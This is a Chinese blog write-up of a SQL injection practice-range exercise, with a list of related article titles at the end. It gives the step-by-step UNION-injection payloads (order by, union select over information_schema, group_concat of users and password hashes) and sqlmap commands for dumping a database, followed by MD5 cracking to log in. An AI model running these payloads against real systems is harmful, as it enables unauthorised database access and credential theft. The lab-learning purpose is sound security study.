【SQL注入】SQL注入基本流程
【SQL注入】SQL注入基本流程
- 摘要
一次简单的SQL注入靶场实践,两个实验环境,分别为有显示位和没有显示位,采用联合注入和布尔型注入的方法,分别通过手注和sqlmap工具的方式进行注入,最终获得数据库数据。
- 【场景一】
关键字: 联合注入,手注
背景: 只有登录页面,需账号密码登录
工具: MD5在线解密工具
步骤:
1.查看当前页面,发现登录框下方有滚动条,内有公告信息,尝试点击
2.URL为http://xxx/new_list.php?id=1,找到注入页面
3.分别在URL后输入
and 1=1和and 1=2
页面显示不同,判断此处为数字型注入,不需要闭合,同时页面有回显,应采用联合查询注入方法
4.判断出有4列
order by 4
5.判断出2,3位为显示位
id=-1 union select 1,2,3,4
6.判断出当前数据库名(名字我忘了)
union select 1,database(),3,4
7.判断表名为StormGroup_member
union select 1,table_name,3,4 from information_schema.tables where table_schema='数据库名'
8.判断列名为id,user,passpord,status
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
9.获得用户名
union select 1,group_concat(user),3,4 from StormGroup_member
10.获得两个MD5加密的密码和相应的状态
union select 1,group_concat(status),group_concat(password),4 from StormGroup_member
11.使用在线解密工具解密状态为1的password,获得未加密的密码
12.使用用户名和获得的密码登录,得到key
- 【场景二】
关键字: 布尔型盲注,sqlmap
背景: 只有登录页面,需账号密码登录
工具: sqlmap ,MD5在线解密工具
步骤:
1.与场景一非常相似,登录框下方有滚动条,内有公告信息,点击进入注入页面
2.分别在URL后面加and 1=1和and 1=2
//页面回显不同,但仅为正确和错误两种,错误时页面上无分割线等内容,判断为布尔型注入
3.布尔型注入耗时费力,直接上工具,使用sqlmap获得数据(因为参数不够熟练还请教了度娘)
①获取所有数据库名:
sqlmap -u http://xxx/new_list.php?id=1 --dbs
②获取当前数据库名:
sqlmap -u http://xxx/new_list.php?id=1 --current-db
③获取表名:
sqlmap -u http://xxx/new_list.php?id=1 -D stormgroup --table
④获取数据:
sqlmap -u http://xxx/new_list.php?id=1 -D stormgroup -T member --dump
3.得到用户名和密码,密码为MD5加密数据,使用在线解密工具解密,得到账号密码
4.登录,得到key
【SQL注入】SQL注入基本流程相关推荐
- SQL注入——联合注入
SQL注入原理:攻击者通过构造不同的SQL语句来实现对数据库的操作 SQL注入的本质:我们也能操作别人的数据库 数据库结构:库:就是一堆表组成的数据集合 表:类似Excel,有行和列组成的二维表 ...
- Pikachu靶场通关笔记--Sql Inject(SQL注入)
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞.一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原 ...
- sql显错注入靶机演示
sql注入漏洞作为web层面最高危的漏洞之一,本文将手动演示sql显错注入的整体流程 注:禁止用于实战 那么开始正文部分,首先打开我们的靶场猫舍 http://cntj8003.ia.aqlab.cn ...
- concat mysql sql注入_sql注入-mysql注入基础及常用注入语句
最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...
- mysql %3c%3e sql优化_SQL注入技术和跨站脚本攻击的检测(2)
2.3 典型的 SQL 注入攻击的正则表达式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix 解释: \w* - 零个或多个字符或者下划线 ...
- php sql 二次注入,espcms 二次注入一枚
Author:Yaseng 1:通过 $alias 二次注入来控制sql 用户昵称 $alias 从数据库查询出来 未过滤 interface/member.php [php] $db_sql = & ...
- SQL注入(SQL注入(SQLi)攻击)攻击-注入点
SQL注入被称为漏洞之王 , 是最常用的漏洞之一 , 其中PHP在这方面的贡献最大 SQL注入原理 用户在参数中插入恶意的SQL语句 , 破坏原有的SQL语法结构 , 从而执行攻击者的操作 SQL注入 ...
- SQL注入_1-6_user-agent注入
SQL注入_1-6_user-agent注入 一.概念 User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本.CPU 类型.浏览器及版本. ...
- SQL注入——SQL注入漏洞利用(零)(值得收藏)
一.什么是SQL注入漏洞 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库 ...
- SQL注入-SQL注入的WAF绕过(十六)
实验目的 普及熟悉利用重写等方式绕过WAF关键字过滤.以实现SQL注入的方法.PS:面试时不要说打WAF靶场什么东西,就说重复大小写编码什么之类的 基本概念 WAF(WebApplicationFir ...
最新文章
- cufflinks基于dataframe数据绘制柱状图(bar plot)、堆叠柱状图(stacked bar plot)
- 干货丨揭秘深度学习的核心:掌握训练数据的方法
- js中的Object.create(null) 和 {} 的区别
- python中long类型_浅谈python 四种数值类型(int,long,float,complex)
- 拓展Revit的方式
- linux telnet 127.0.0.1 不通,Linux 出现telnet: 127.0.0.1: Connection refused错误解决办法
- AI大牛Jerry Kaplan:AGI?没有技术和工程基础
- Python 数据结构与算法——引用计数
- js 判断浏览器是否滚动到底部
- Tapestry 5简介
- MyBatis-18MyBatis代码生成器-Example讲解
- 专题:固体力学中应力与应变分析详解(4.应力张量的转换)
- 广告投放市场推广渠道大全与效果分析比较
- P6858 数学期望
- JVM的垃圾回收Serial、Serial Old、Parallel Scavenge、Parallel Old的介绍和STW(Stop The World)
- python矩阵内积乘_numpy矩阵向量乘法
- win10设备管理没有android,win10电脑不能识别安卓设备怎么解决?
- Visual Studio 2019 操作使用
- ScrollView中嵌套GridView,不在顶部解决办法
- 从谷歌流感趋势谈大数据分析的光荣与陷阱